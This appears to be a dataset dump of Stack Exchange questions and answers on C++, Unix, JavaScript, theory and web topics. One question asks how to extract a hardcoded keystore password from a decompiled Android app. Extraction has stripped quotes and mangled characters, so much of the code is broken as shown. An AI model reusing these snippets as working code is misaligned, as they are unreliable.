> item) //Insert item. { parent->left = std::move(new_leaf); } else { parent->right = std::move(new_leaf); } } //Increment tree size. tree_size++; return true;}template <class BST>bool BinarySearchTree<BST>::remove(const BST &item){ if(is_empty()) { return false; } node_t * parent; node_t * current; if(_search(item, parent, current)) { if(has_child(*current, Left) && has_child(*current, Right)) { //node has a left and right child. remove_with_children(current); } else if(has_child(*current, Left) != has_child(*current, Right)) { //node has a single child. remove_with_child(parent, current); } else { //node has no children. remove_leaf(parent, current); } //Decrement tree size. tree_size--; } else { //node was not found. return false; } return true;}template <class BST>bool BinarySearchTree<BST>::_search(const BST &item, node_t * &parent, node_t * ¤t) const{ parent = nullptr; current = root.get(); while(current) /*-Loop searches for item in the tree. -Each iteration traverses and checks one node.*/ { if(item == (current)->data) { return true; } else { parent = current; if(item > current->data) { current = current->right.get(); } else { current = current->left.get(); } } } return false;}template <class BST>void BinarySearchTree<BST>::remove_with_children(node_t * &node){ node_t * min_parent; min_parent = find_min_r_sub(*node); if(min_parent) { //Node is set with min value and the minimum node deleted node->data = min_parent->left->data; min_parent->left.reset(); } else { //min_parent is null, so the the min value is the nodes right child. node->data = node->right->data; node->right.reset(); }}template <class BST>typename BinarySearchTree<BST>::node_t * BinarySearchTree<BST>::find_min_r_sub(const node_t &node) const{ node_t * parent = nullptr; node_t * current = node.right.get(); while(current->left) /*- Loop traverses subtree as far left as possible. - Each iteration traverses one node.*/ { parent = current; current = current->left.get(); } return parent;}template <class BST>void BinarySearchTree<BST>::remove_with_child(node_t * &parent, node_t * ¤t){ if(!parent) { //node is root if(current->left) { root = std::move(current->left); } else { root = std::move(current->right); } } else if(current == parent->left.get()) { if(current->left) { parent->left = std::move(current->left); } else { parent->left = std::move(current->right); } } else { if (current->left) { parent->right = std::move(current->left); } else { parent->right = std::move(current->right); } }}template <class BST>void BinarySearchTree<BST>::remove_leaf(node_t * &parent, node_t * ¤t){ if(!parent) { //node is root root.reset(); } else if(current == parent->left.get()) { parent->left.reset(); } else { parent->right.reset(); }}template <class BST>bool BinarySearchTree<BST>::has_child(const node_t &node, const limb_t limb) const{ if(((node.left) && (limb == Left)) || ((node.right) && (limb == Right))) { return true; } return false;}template <class BST>bool BinarySearchTree<BST>::is_empty(void) const{ if(tree_size == 0) { return true; } return false;}template <class BST>bool BinarySearchTree<BST>::search(const BST &item) const{ node_t * current node_t * parent return (_search(item, parent, current));}template <class BST>void BinarySearchTree<BST>::inorder() const{ inorder(root);}template <class BST>void BinarySearchTree<BST>::_inorder(const node_p &node) const{ if(node) { if(node->left) { inorder(node->left); } std::cout<< <<node->data<< ; if(node->right) { inorder(node->right); } } else return;}template <class BST>void BinarySearchTree<BST>::preorder(void) const{ preorder(root);}template <class BST>void BinarySearchTree<BST>::_preorder(const node_p &node) const{ if(node) { std::cout<< <<node->data<< ; if(node->left) { preorder(node->left); } if(node->right) { preorder(node->right); } } else return;}template <class BST>void BinarySearchTree<BST>::postorder(void) const{ postorder(root);}template <class BST>void BinarySearchTree<BST>::_postorder(const node_p &node) const{ if(node) { if(node->left) { postorder(node->left); } if(node->right) { postorder(node->right); } std::cout<< <<node->data<< ; } else return;}" , "title": "Binary search tree with templates" , "tags": "c++;c++11;tree;template;pointers" , "accepted_answer": "There's quite a bit of code here so I haven't gone over it in great detail but the basics seem sound. Here's a few comments on things that jumped out at me at a quick skim though, some are pretty minor but are just suggestions for more idiomatic C++:This is a fairly major issue: generally the definitions of all templates need to be in a header file and not in a .cpp file. With your code as written, you will get linker errors if you try and use your BinarySearchTree class from another translation unit (another .cpp file). You can use explicit template instantiation to work around this if you know in advance the full set of instantiations you need but for a generic container class like this that may be instantiated with arbitrary types all your implementation should be in a header (you can separate it into a detail header for code organization purposes). It's conventional in C++ to use T for template type parameters when the meaning of the parameter is obvious (such as the contained type in a container). Naming your contained type template parameter BST seemed a slightly odd choice to me.Smart pointers are designed to manage ownership automatically and unique_ptrs default constructor initializes it to nullptr. It looks a little redundant to me to explicitly initialize your left and right node_ps with nullptr in the node_t constructor and your root in the BinarySearchTree constructor. Related to the above, it's redundant to call root.reset() in your BinarySearchTree destructor. Members of an object are automatically destroyed in the correct order, you should generally leave resource management up to types like unique_ptr that just do the right thing for you and only explicitly define a destructor for classes that manage resources.It's also redundant to set tree_size to 0 in your destructor - the object is going away so you are clearing a value you will never be able to access. I'd just delete your entire BinarySearchTree destructor as the implicitly generated destructor will be correct for this class.It's not idiomatic C++ to put void in the parameter list for functions that take no arguments (although it's permitted for backwards compatibility with C). Your default constructor and destructor (if you needed one) should just have empty argument lists.It's considered best practice in C++ to prefer pre-increment unless you need post-increment semantics (e.g. ++tree_size rather than tree_size++). This is because pre-increment can be more efficient for user defined types.You may want to consider taking 'sink' arguments (like the item parameter of your node_t constructor and of your insert() function by value and then std::move() them into their destinations. Alternatively you can provide two overloads, one taking a const T& argument and one taking a T&& which can be slightly more efficient by avoiding an extra move. Your insert() function doesn't handle movable types correctly and will not compile for move only types since it takes it's argument by const T& but attempts to std::move() them. Another option is to ignore move semantics for now and just accept copying (move semantics are a somewhat advanced C++ feature if you are trying to implement template classes that use them rather than to simply use them as a consumer of libraries). A handy tip when implementing templated container classes is to create helper classes for unit testing that record the number of copies / moves etc. This makes it easier to catch mistakes like your faulty insert() implementation by verifying that you are getting the number of moves and copies you expect.When designing container classes like this, consider using the same names and idioms in the interface as similar standard library types. For example, your search() function is generally named find() in similar standard library classes like std::set when it returns an iterator or count() when it returns the number of matching elements and insert() generally returns a pair<iterator, bool> or just an iterator indicating if the element was inserted and where it was inserted. It would also be good here to provide an iterator interface similar to standard library types, although it would require a fair bit of code to implement." } { "id": "_unix.43969" , "question": "I've a directory on a NAS mount (from NetApp), that contains ~6300 image files, total size of this directory is ~ 300 MB. I get two different performances of time ls:First time (or after waiting 5-7 minutes): time lsreal 0m4.505suser 0m0.061ssys 0m0.258sSubsequent times: time lsreal 0m0.340suser 0m0.038ssys 0m0.075sI'm fairly new to storage and disks, but my questions are:what causes ls to be slow in some instances and 10+ times fast in others?how would I go about troubleshooting this issue?Update:Here is what I got back from the sysadmin on how NAS is mounted:nashost:/vol/cmsprd/files /app/files nfs noquota,proto=tcp 0 0and here is what I see running for nfs on the host:ps -ef | grep nfsroot 3234 2 0 Mar21 ? 00:00:02 [nfsiod]I'm still looking for the connection speed.Thanks!" , "title": "What could cause a NAS mount to respond slowly?" , "tags": "performance;nfs;disk" } { "id": "_codereview.111188" , "question": "I have written this snippet to find r-permutations of n, i.e. if I have an array of n=3 {0,1,2}, then r=2 permutations will be {{0, 1}, {0, 2}, {1, 0}, {1, 2}, {2, 0}, {2, 1}}.Can somebody review it and help me optimize / reduce its complexity (I don't want to use recursive function):_getAllPermutation: function(input, allPermutations, usedIndices, r) { var index = 0, usedIndex = null; for (; index < input.length; index++) { usedIndex = input.splice(index, 1)[0]; r--; usedIndices.push(usedIndex); if (input.length === 0 || r === 0) { allPermutations.push(usedIndices.slice()); } if (r > 0) { this._getAllPermutation(input, allPermutations, usedIndices, r); } input.splice(index, 0, usedIndex); r++; usedIndices.pop(); }}" , "title": "`r` permutations of `n`" , "tags": "javascript;combinatorics" } { "id": "_unix.360748" , "question": "I just installed Kubuntu 17.04. It broke my audio config. What is weird is that if I run from live-USB, the audio works perfectly.How can I dump the config from the live session and restore it in the installed version?" , "title": "Copying audio config" , "tags": "audio" } { "id": "_softwareengineering.298363" , "question": "When I want to create an object which aggregates other objects, I find myself wanting to give access to the internal objects instead of revealing the interface to the internal objects with passthrough functions.For example, say we have two objects:class Engine;using EnginePtr = unique_ptr<Engine>;class Engine{public: Engine( int size ) : mySize( 1 ) { setSize( size ); } int getSize() const { return mySize; } void setSize( const int size ) { mySize = size; } void doStuff() const { /* do stuff */ }private: int mySize;};class ModelName;using ModelNamePtr = unique_ptr<ModelName>;class ModelName{public: ModelName( const string& name ) : myName( name ) { setName( name ); } string getName() const { return myName; } void setName( const string& name ) { myName = name; } void doSomething() const { /* do something */ }private: string myName;};And lets say we want to have a Car object which is composed of both an Engine and a ModelName (this is contrived obviously). One possible way to do so would be to give access to each of these/* give access */class Car1{public: Car1() : myModelName{ new ModelName{ default } }, myEngine{ new Engine{ 2 } } {} const ModelNamePtr& getModelName() const { return myModelName; } const EnginePtr& getEngine() const { return myEngine; }private: ModelNamePtr myModelName; EnginePtr myEngine;};Using this object would look like this:Car1 car1;car1.getModelName()->setName( Accord );car1.getEngine()->setSize( 2 );car1.getEngine()->doStuff();Another possibility would be to create a public function on the Car object for each of the (desired) functions on the internal objects, like this:/* passthrough functions */class Car2{public: Car2() : myModelName{ new ModelName{ default } }, myEngine{ new Engine{ 2 } } {} string getModelName() const { return myModelName->getName(); } void setModelName( const string& name ) { myModelName->setName( name ); } void doModelnameSomething() const { myModelName->doSomething(); } int getEngineSize() const { return myEngine->getSize(); } void setEngineSize( const int size ) { myEngine->setSize( size ); } void doEngineStuff() const { myEngine->doStuff(); }private: ModelNamePtr myModelName; EnginePtr myEngine;};The second example would be used like this:Car2 car2;car2.setModelName( Accord );car2.setEngineSize( 2 );car2.doEngineStuff();My concern with the first example is that it violates OO encapsulation by giving direct access to the private members.My concern with the second example is that, as we get to higher levels in the class hierarchy, we could wind up with god-like classes that have very large public interfaces (violates the I in SOLID).Which of the two examples represents better OO design? Or do both examples demonstrate a lack of OO comprehension?" , "title": "Does returning pointer to composed objects violate encapsulation" , "tags": "object oriented;c++;encapsulation" , "accepted_answer": "I find myself wanting to give access to the internal objects instead of revealing the interface to the internal objects with passthrough functions.So, why then is it internal?The objective is not to reveal the interface to the internal object but to create a coherent, consistent, expressive interface. If an internal object's functionality needs to be exposed and a simple pass-through will do, then pass-through. Good design is the goal, not avoid trivial coding.Giving access to an internal object means:The client has to know about those internals to use them.The above means desired abstraction is blown out of the water. You expose the internal object's other public methods and properties, allowing the client to manipulate your state in unintended ways.Significantly increased coupling. Now you are at risk of breaking client code should you modify the internal object, change it's method signature, or even replace the whole object (change the type).All of this is why we have the Law of Demeter. Demeter does not say well, if it's just passing through, then it's ok to ignore this principle." } { "id": "_reverseengineering.14701" , "question": "Novice Android security researcher here. Recently I was tasked with the task/challenge of exposing a certain app's hardcoded local keystore password.I've decompiled it with JEB2 and obviously within huge mess of code I can see various references to the cryptographic algorithms, hashing and encoding routines (OCRA1, HMAC, SHA1, AES, base64 etc.) utilized in the classes and methods of the prototypes, related calls etc.Now, from the experienced pentester's viewpoint would it be possible to reveal the hardcoded pass through app's heap dumps or maybe traffic interception with the BurpSuite's mitm attack via fake certificate between the client/server point? If so, how would I then discern it from the ocean of other strings?!If that's not possible what is the proper way to proceed from then on taking into account lack of experience in reading java or reverse engineering crypto stuff?Regards" , "title": "Android App's hardcoded local keystore password r3versing" , "tags": "decompilation;android;obfuscation;encryption;decryption" , "accepted_answer": "First thing I'd try to search for uses of standard implementation of the key store, KeyStore class. This class is external for the application and should be referenced by name.If this key store uses standard API it probably uses the the KeyStore.load function which gets the desired password as a second parameter.final void load(InputStream stream, char[] password) : Loads this KeyStore from the given input stream.Good luck. " } { "id": "_codereview.97034" , "question": "I wrote some code to translate numbers ( for now just positive, up to the 32bit limit ) into English words.Everything works and I'm happy. I searched through the site looking for a comparison code but I couldn't find a C++ version that goes above 999 to use as exampleI had a few assumptions:No need for and, just spaces ( Ex: two hundred three )I never wrote much code ( yes this is a big program for me ), so I have no idea how to manage it correctly, I think it's pretty much spaghetti-code at the moment, that's why I tried adding some documentation to clarify things.The algorithm I used feels like it's overcomplicated and more patched together than planned out.#include <iostream> // std::cout, std::cin, std::endl#include <vector> // std::vector#include <algorithm> // std::reverseconst std::vector<std::string> first_twenty_vocabular = { zero , one , two , three , four , five , six , seven , eight , nine , ten , eleven , twelve , thirteen , fourteen , fifteen , sixteen , seventeen , eighteen , nineteen };const std::vector<std::string> magnitude_vocabular = { hundred , thousand , million , billion };const std::vector<std::string> decine_vocabular = { twenty , thirty , fourty , fifty , sixty , seventy , eighty , ninety };// HERE THE MAGIC HAPPENS.std::string Stringer(std::vector<int> src); // Translate the number up to the hundreds, if the number is bigger it sends it to MagnitudeSplitte() for splitting it up.std::string MagnitudeSplitter(std::vector<int> src); // Splits a number too big for Stringer to handle into smaller chunks (using VectorSplitter()) of max 3 digits, translate them with Stringer() and appends the right magnitude.std::vector<int> VectorSplitter(std::vector<int> &V); // Splits the number by the hundreds. // Ex: 12004 is split into 12 and 004. // 1222333 is split into 1 and 222333. // 111222 is split into 111 and 222.// ######################################################// THESE FUNCTIONS ARE HELPER FUNCTIONS TO Stringer().std::string units(std::vector<int> src); // Translate the singe digits numbers.std::string decine(std::vector<int> src); // Transalte the double digits numbers. // ( Considered the structure of the vocabular vectors, i'm considering merging both units and decine into the same function.)std::string hundreds(std::vector<int> src); // Transalte the triple digits numbers.// #############################################################// TOOLS.void FlipVector(std::vector<int>& V) { std::reverse(V.begin(), V.end());}void PrintVector(std::vector<int> v) { int len = v.size(); for (int i = 0; i < len; ++i) { std::cout << v[i];} std::cout << std::endl;}std::vector<int> Splitter(int src_num) { // Convert the input number into a vector. std::vector<int> v_Digits; if (src_num == 0) { v_Digits.push_back(0); return v_Digits; } else { while(src_num >= 10) { v_Digits.push_back(src_num%10); src_num /= 10; } v_Digits.push_back(src_num); return v_Digits; }}// ###################################################std::string units(std::vector<int> src) { std::string uni_str = first_twenty_vocabular[src[0]]; return uni_str;}std::string decine(std::vector<int> src) { std::string dec_str = ; if (src[0] == 0) { if (src[1] == 0) { return dec_str; } else { dec_str.append(first_twenty_vocabular[src[1]]); return dec_str; } } else if (src[0] == 1) { dec_str.append(first_twenty_vocabular[10+src[1]]); return dec_str; } else { dec_str.append(decine_vocabular[src[0]-2]); if(src[1] == 0) { return dec_str; } else { dec_str.append(first_twenty_vocabular[src[1]]); return dec_str; } }}std::string hundreds(std::vector<int> src) { std::string hundred_string = ; if(src[0] == 0) { std::vector<int> dec_vec= {src[1],src[2]}; std::string dec_str = decine(dec_vec); hundred_string.append(dec_str); return hundred_string; } else { hundred_string.append(first_twenty_vocabular[src[0]]); hundred_string.append(hundred ); std::vector<int> dec_vec= {src[1],src[2]}; std::string dec_str = decine(dec_vec); hundred_string.append(dec_str); return hundred_string; }}std::string Stringer(std::vector<int> src) { std::string num_string = ; int len = src.size(); if( src[0] < 0 ) { num_string.append(minus ); for (int i = 0; i < len; ++i) { src[i] = -i; } } if (len == 1) { std::string add = units(src); num_string.append(add); } else if (len == 2) { std::string add = decine(src); num_string.append(add); } else if (len == 3) { std::string add = hundreds(src); num_string.append(add); } else { return MagnitudeSplitter(src); } return num_string;}std::vector<int> VectorSplitter(std::vector<int> &V){ std::vector<int> first_digits; int len = V.size(); if (len%3 == 0) { for(int i = 0; i < 3; ++i) { first_digits.push_back(V[0]); FlipVector(V); V.pop_back(); FlipVector(V); } } else { for( int i = 0; i < (len-(3*(len/3))); ++i) { first_digits.push_back(V[0]); FlipVector(V); V.pop_back(); FlipVector(V); } } return first_digits;}std::string MagnitudeSplitter(std::vector<int> src) { int len = src.size(); std::string tot_str = ; if (len == 3) { return Stringer(src); } else { std::vector<int> first_digits = VectorSplitter(src); int new_len = first_digits.size(); std::string add = Stringer(first_digits); int sum_values = 0; // To know if there are only zeroes. for ( int i = 0; i < new_len; ++i) { sum_values += first_digits[i]; } tot_str.append(add); if (sum_values) { // Appends the right magnitude only if the relative chunk is significative ( with something in it). tot_str.append(magnitude_vocabular[(len-1)/3]); } std::string return_str = Stringer(src); tot_str.append(return_str); } return tot_str;}int main() { std::cout << insert your number: ; int x; std::cin >> x; std::vector<int> v_result = Splitter(x); // Face down, ass up. FlipVector(v_result); // Face up, ass down (poor boy) PrintVector(v_result); std::cout << Stringer(v_result) << std::endl;}" , "title": "Integer to English Conversion" , "tags": "c++;c++11;converting;numbers to words" , "accepted_answer": "From the top down, first, given what you want to do, your function had better look like this:std::string toEnglish(int x);Your Stringer() function sort of does this, but with a really weird name. In fact, all your functions have really weird names. Splitting into a vector of digits doesn't seem particularly useful to the problem at hand either. And your negative check is definitely wrong:for (int i = 0; i < len; ++i) { src[i] = -i; }That'll just overwrite your src with values that had nothing to do with it.The rest of Stringer()'s logic is really confusing as well. So we have:if (len == 1) { std::string add = units(src); num_string.append(add);} else if (len == 2) { std::string add = decine(src); num_string.append(add);} else if (len == 3) { std::string add = hundreds(src); num_string.append(add);} else { return MagnitudeSplitter(src);}return num_string;Which would be exactly equivalent to:switch (len) {case 1: return units(src);case 2: return decine(src);case 3: return hundreds(src);default: return MagnitudeSplitter(src);}MagnitudeSplitter then checks for the length being 3, which we know will never happen. But really, why are these different cases at all? On top of that, you're copying your objects at every point instead of taking by reference to const. I find it very hard to follow your decine and hunrdeds functions. I am not sure if they're correct. I think the best code review I could give you is...Let's start over. With English number words, the way to do it is to divide the number into blocks of 3 and do each one. So I would expect a helper function like;/* Given a number 1-999, convert it to English. Examples: 2 -> two 127 -> one hundred twenty seven */std::string blockToEnglish(int x);Which we could use like:std::string toEnglish(int x) { if (x == 0) return zero; std::vector<int> blocks; while (x > 0) { blocks.push_back(x % 1000); x /= 1000; } std::vector<std::string> block_words; for (size_t i = 0; i != blocks.end(); ++i) { if (blocks[i]) { block_words.append(blockToEnglish(blocks[i])); } } // TODO as exercise: combine block_words into one // string with the millions, etc separators // as well as handle negatives}" } { "id": "_cs.12480" , "question": "What does $A^B$ mean where A and B are complexity classes?The Polynomial Hierarchy page says:$A^B$ is the set of decision problems solvable by a Turing machine in class A augmented by an oracle for some complete problem in class BIn that case what is a Turing machine in class A?(besides just a machine of some sort that can solve problems in A, because that doesn't give any insight as to what it means to augment such a machine with an oracle)The motivation for this question was: What is a Turing Machine in class coNP. " , "title": "What does $A^B$ mean?" , "tags": "turing machines;complexity classes" } { "id": "_unix.118093" , "question": "Being able to put a script in /etc/cron.daily is really nice because I can do it easily from a configuration management system or a package. However, my understanding is that all the entries in /etc/cron.daily will run sequentially. How can I make a script in /etc/cron.daily not hold up the other tasks? Would something like the following work?#!/bin/bash#do something long:nohup sleep 1000000000 &;#instead of sleep, this could point to another script that takes a while to execute" , "title": "Running cron.daily in parallel" , "tags": "bash;cron" , "accepted_answer": "Yes, if you background the process in the script, the next one will be started. Scripts in /etc/cron.daily are run by run-parts (from man cron):Support for /etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly and /etc/cron.monthly is provided in Debian through the default setting of the /etc/crontab file (see the system-wide example in crontab(5)). The default sytem-wide crontab contains four tasks: run every hour, every day, every week and every month. Each of these tasks will execute run-parts providing each one of the directories as an argument. These tasks are disabled if anacron is installed (except for the hourly task) to prevent conflicts between both daemons.So, you can simulate by running it manually. For example:$ ls /etc/cron.daily/test1 test2$ cat test1#!/bin/bashecho starting 1 >> /tmp/hahasleep 1000000000 & $ cat test2#!/bin/bashecho starting 2 >> /tmp/hahasleep 1000000000 &$ sudo run-parts /etc/cron.daily$ cat /tmp/hahastarting 1starting 2In the example above, I created two scripts that simply run sleep 1000000000 &. Because of the &, the process is sent to the background and run-parts moves on to the next script. So, nohup is not needed, all you need is the & at the end of the line that will take a while." } { "id": "_cs.74809" , "question": "The following quote is from the book The art of computer programming:(..) sentence would presumably be used only if either $j$ or $k$ (not both) has exterior significance.In most cases we will use notation (2) only when the sum is finite - that is, when only a finite number of values $j$ satisfy $R(j)$ and have $a_j \\neq 0$. If an infinite sum is required, for example $$\\sum_{j=1}^{\\infty} = \\sum_{j \\geq 1}a_j = a_1 + a_2 + a_3+\\cdots$$ with infinitely many nonzero terms, the techniques of calculus must be employed; the precise meaning of (2) is then $$\\qquad\\qquad \\sum_{R(j)} a_j = \\left(\\lim_{n\\rightarrow\\infty} \\sum_{R(j) \\atop 0\\leq j \\leq n} a_j\\right) + \\left(\\lim_{n\\rightarrow\\infty} \\sum_{R(j) \\atop 0\\leq j \\leq n} a_j\\right),\\qquad\\qquad(3)$$(...)And why are they exactly the same? I showed a math professor and he thinks they're labelled wrong but couldn't figure it out. I don't even get why there are two. Sorry if the question isn't clear enough. I'm referring to the two infinite sums. As far as (2) is concerned he is only referring to what is on the left hand side of the equation with the two infinite sums. Its just a way of representing any possible series. So essentially my question is how does making any series go to infinity make two of them? Or am I misunderstanding?Also I tried to post this in math stack exchange and it wouldn't let me so I came here since its from the book, the art of computer programming." , "title": "Can someone explain why there are two summations here?" , "tags": "mathematical analysis" } { "id": "_unix.144515" , "question": "Our Unix team often uses Samba to join machines to the domain. The command they have traditionally used is:net join ADS -w [domain name] -U [username]I am one of our AD admins and I am trying to find out how to get them to be able to join to a specific OU so we can have all of the Samba machines organized in AD. From all of my research, it seems that this should work:net join ads Servers/Samba -w [domain] -U [username] This still allows the machine to join to the domain without issue but it keeps ending up in the 'computers' container and we receive no errors. I have made sure on the AD side that the user they are using have join domain rights and create/delete computer objects on both the servers OU tree and the computers container. What am I missing? I can't find much documentation on the Samba net commands without having access to a unix box with it. Also, I noticed in most examples people always had 'net ads join...' rather than 'net join ads...' - our Unix admin got errors when trying to use net ads join. I do not know why our syntax seems different then most examples I found but I wanted to point it out.Here are some sites that support my research:https://www.samba.org/samba/docs/man/Samba-HOWTO-Collection/domain-member.htmlhttp://www.members.optushome.com.au/~wskwok/poptop_ads_howto_6a.htm" , "title": "Samba 3.5.9 - join domain specific OU - net join ads" , "tags": "samba;active directory" } { "id": "_webmaster.7130" , "question": "Nowadays often what was accomplished with an <img> tag is now done with something like a <div> with a CSS background image set using a CSS 'sprite' and an offset.I was wondering what kind of an effect his has on SEO, as effectively we lose the alt attribute (which is indexed by Google), and are stuck with the 'title' attribute (which as far as I understand is not indexed).Is this a significant disadvantage?" , "title": "Are CSS sprites bad for SEO?" , "tags": "seo;css" , "accepted_answer": "CSS sprites should only be used for decorative elements for this reason - use <img> for elements which are specific to a page and use sprites for decorative elements which are not contextually relevant to the content presented.If you need a button image for your navigation items it makes much more sense to add that image as a background on the navigation link rather than markup like this:<a href=/> <img src=/images/home.gif title=Home alt=Home Button /> Home</a>(i.e. wherever the image's content is redundant to text content on the page or the image's content could best be described as decoration)As an added bonus of separating site template elements as sprites, you'll later be able to change the site's skin by changing the stylesheet instead of overwriting the old design image files or rewriting all your HTML markup." } { "id": "_cstheory.2215" , "question": "I'm new to the site. On mathoverflow this would be community wiki, but I don't see how to set that here. Not a research question, but hopefully of interest to professional theoretical computer scientists.I am a 2nd year grad student in theory, and I was wondering what advice the community had for what I should be doing now to aim for a career in academia. I know I should do great research -- yes, I try. :-) I am looking for less obvious advice. How important are social aspects? Going to conferences, knowing great people? Am I at a big disadvantage if my advisor/school are not famous? Does a blog help/hurt my chances?Thanks!" , "title": "How to get a job" , "tags": "soft question;career;advice request" } { "id": "_unix.107256" , "question": "Is there an application that works like TeamViewer but only works for SSH?I'm configuring a server, and want to place it anywhere but still be able to access ith with putty. Is there a service or application I can use to access it? Much a like TeamViewer, but I don't want the desktop, only SSH" , "title": "Is there a way to use ssh remotely without configure the firewall?" , "tags": "ssh" } { "id": "_unix.235615" , "question": "Looking at etc/group and etc/passwd files, I see accounts listed in various groups in the etc/group file that do not appear in the etc/passwd files. Can these accounts still log in to the AIX server?" , "title": "Can an AIX user that appears in etc/group but not etc/passwd still log into a server?" , "tags": "aix;group;access control;passwd" } { "id": "_unix.337104" , "question": "I have a Linux distro in my laptop, with 3.18.17, 32-bit Kernel.Running top has listed below output,I am aware a little about nice and renice of process in Linux. Looking into top, I understood there are 6 processes, which have nice value of -20. I am totally convinced why kworker, khelper and crypto have -20 nice value. Can anyone tell me what is kintegrityd and why it has -20 nice value?" , "title": "What is kintegrityd and why it has -20 nice value?" , "tags": "top;nice" } { "id": "_codereview.166363" , "question": "I read about this game and tried to make my own algorithm to solve this.I asked it on StackOverflow for the appropriate algorithm and logic to solve this problem.With the help of answers over there and my modifications I implemented it,I posted my code there also and through suggestions in comments I was suggested to ask it here.Constraints I made: An N X N matrix having one empty slot ,say 0, would be plotted having numbers 0 to n-1.Now we have to recreate this matrix and form the matrix having numbers in increasing order from left to right beginning from the top row and have the last element 0 i.e. (N X Nth)element.For example,Input :8 4 07 2 51 3 6Output:1 2 34 5 67 8 0Now the problem is how to do this in minimum number of steps possible. As in game(link provided) you can either move left, right, up or bottom and shift the 0(empty slot) to corresponding position to make the final matrix.The output to printed for this algorithm is number of steps say M and then Tile(number) moved in the direction say, 1 for swapping with upper adjacent element, 2 for lower adjacent element, 3 for left adjacent element and 4 for right adjacent element.N could be in range [200,500]Like, for2 <--- order of N X N matrix3 10 2Answer should be: 3 4 1 2 where 3 is M and 4 1 2 are steps to tile movement.So I have to minimise the complexity for this algorithm and want to find minimum number of moves. Please suggest me the most efficient approach to solve this algorithm.It's taking too much time and I want to reduce its time complexity further and make it more efficient. Any suggestions would be appreciable.My code: // Program to print minimum moves from root node to destination node// for N*N -1 puzzle algorithm.// The solution assumes that instance of puzzle is solvable#include <iostream>#include <stdio.h>#include <string.h>#include <queue>using namespace std;//Some Global Declrationsint inDex=0,shift[100000],N,initial[500][500],final[500][500];// state space tree nodesstruct Node{ // stores parent node of current node // helps in tracing path when answer is found Node* parent; // stores matrix int mat[500][500]; // stores blank tile cordinates int x, y; // stores the number of misplaced tiles int cost; // stores the number of moves so far int level;};// Function to allocate a new nodeNode* newNode(int mat[500][500], int x, int y, int newX, int newY, int level, Node* parent){ Node* node = new Node; // set pointer for path to root node->parent = parent; // copy data from parent node to current node memcpy(node->mat, mat, sizeof node->mat); // move tile by 1 postion swap(node->mat[x][y], node->mat[newX][newY]); // set number of misplaced tiles node->cost = INT_MAX; // set number of moves so far node->level = level; // update new blank tile cordinates node->x = newX; node->y = newY; return node;}// bottom, left, top, rightint row[] = { 1, 0, -1, 0 };int col[] = { 0, -1, 0, 1 };// Function to calculate the the number of misplaced tiles// ie. number of non-blank tiles not in their goal positionint calculateCost(int initial[500][500], int final[500][500]){ int count = 0; for (int i = 0; i < N; i++) for (int j = 0; j < N; j++) if (initial[i][j] && initial[i][j] != final[i][j]) count++; return count;}// Function to check if (x, y) is a valid matrix coordinateint isSafe(int x, int y){ return (x >= 0 && x < N && y >= 0 && y < N);}// Comparison object to be used to order the heapstruct comp{ bool operator()(const Node* lhs, const Node* rhs) const { return (lhs->cost + lhs->level) > (rhs->cost + rhs->level); }};// Function to solve N*N - 1 puzzle algorithm using// Branch and Bound. x and y are blank tile coordinates// in initial statevoid solve(int initial[500][500], int x, int y, int final[500][500]){ // Create a priority queue to store live nodes of // search tree; priority_queue<Node*, std::vector<Node*>, comp> pq; // create a root node and calculate its cost Node* root = newNode(initial, x, y, x, y, 0, NULL); root->cost = calculateCost(initial, final); // Storing the previous node Node* prev = newNode(initial,x,y,x,y,0,NULL); // Add root to list of live nodes pq.push(root); // Finds a live node with least cost, // add its children to list of live nodes and // finally deletes it from the list. while (!pq.empty()) { // Find a live node with least estimated cost Node* min = pq.top(); // Store the shifts 1,2,3,4 for top,bottom,left and right respectively. if(min->x > prev->x) { shift[inDex] = 4; inDex++; } else if(min->x < prev->x) { shift[inDex] = 3; inDex++; } else if(min->y > prev->y) { shift[inDex] = 2; inDex++; } else if(min->y < prev->y) { shift[inDex] = 1; inDex++; } prev = pq.top(); // The found node is deleted from the list of // live nodes pq.pop(); if (min->cost == 0) { // Print the number of moves cout << min->level << endl; return; } // do for each child of min // max 4 children for a node for (int i = 0; i < 4; i++) { if (isSafe(min->x + row[i], min->y + col[i])) { // create a child node and calculate // its cost Node* child = newNode(min->mat, min->x, min->y, min->x + row[i], min->y + col[i], min->level + 1, min); child->cost = calculateCost(child->mat, final); // Add child to list of live nodes pq.push(child); } } }}int main(void){ cin >> N; // Initial configuration int i,j,k=1; for(i=0;i<N;i++) { for(j=0;j<N;j++) { cin >> initial[j][i]; } } // Putting numbers from 1 in increasing order. for(i=0;i<N;i++) { for(j=0;j<N;j++) { final[j][i] = k; k++; } } // Value 0 is used for empty space final[N-1][N-1] = 0; int x = 0, y = 1,a[100][100]; solve(initial, x, y, final); // Printing the steps taken while moving tiles. for(i=0;i<inDex;i++) { cout << shift[i] << endl; } return 0;}Input:23 10 2Output:3142" , "title": "Minimum number of moves to solve game of fifteen" , "tags": "c++;algorithm;time limit exceeded;matrix;sliding tile puzzle" } { "id": "_unix.120856" , "question": "I need to display the complete address with curl, when it find results with '301' status code.This is my variable.search=$(curl -s --head -w %{http_code} https://launchpad.net/~[a-z]/+archive/pipelight -o /dev/null | sed 's#404##g') echo $search301The above works, but only display if the site exists with '301' status code.I wantecho $searchhttps://launchpad.net/~mqchael/+archive/pipelightUPDATEThis is my new variable, maybe can explain what I need. This variable will help me to search and install a ppa in Ubuntu o similar.ppa=$(curl https://launchpad.net/ubuntu/+ppas?name_filter=$packagename | grep '<td><a href=/~' | grep >$packagename< )echo $ppaExample:ppa=$(curl https://launchpad.net/ubuntu/+ppas?name_filter=Pipelight | grep '<td><a href=/~' | grep >Pipelight< )echo $ppa <td><a href=/~mqchael/+archive/pipelight>Pipelight</a></td>The problem here is I can't extract mqchael (this name is variable), also pipelight is only a example. This is the format final when I will apply my variable.ppa:mqchael/pipelight" , "title": "How to display the complete address with curl in searching?" , "tags": "curl" , "accepted_answer": "This should do what you want:curl https://launchpad.net/ubuntu/+ppas?name_filter=Pipelight | awk -F/ '/>Pipelight</{print $2}'Explanation:The -F/ sets the filed delimiter to /, and the />Pipelight</ means run the commands in the {} only on lines matching >Pipelight<. So, at least in the example you posted, the line with >Pipelight< is:<td><a href=/~mqchael/+archive/pipelight>Pipelight</a></td>So, since awk is splitting on /, the first field will be <td><a href= and the second will be ~mqchael. Which is why {print $2} will print ~mqchael. If you also want to get rid of the tilde (~), use this:curl https://launchpad.net/ubuntu/+ppas?name_filter=Pipelight | awk -F/ '/>Pipelight</{print $2}' | sed 's/~//'" } { 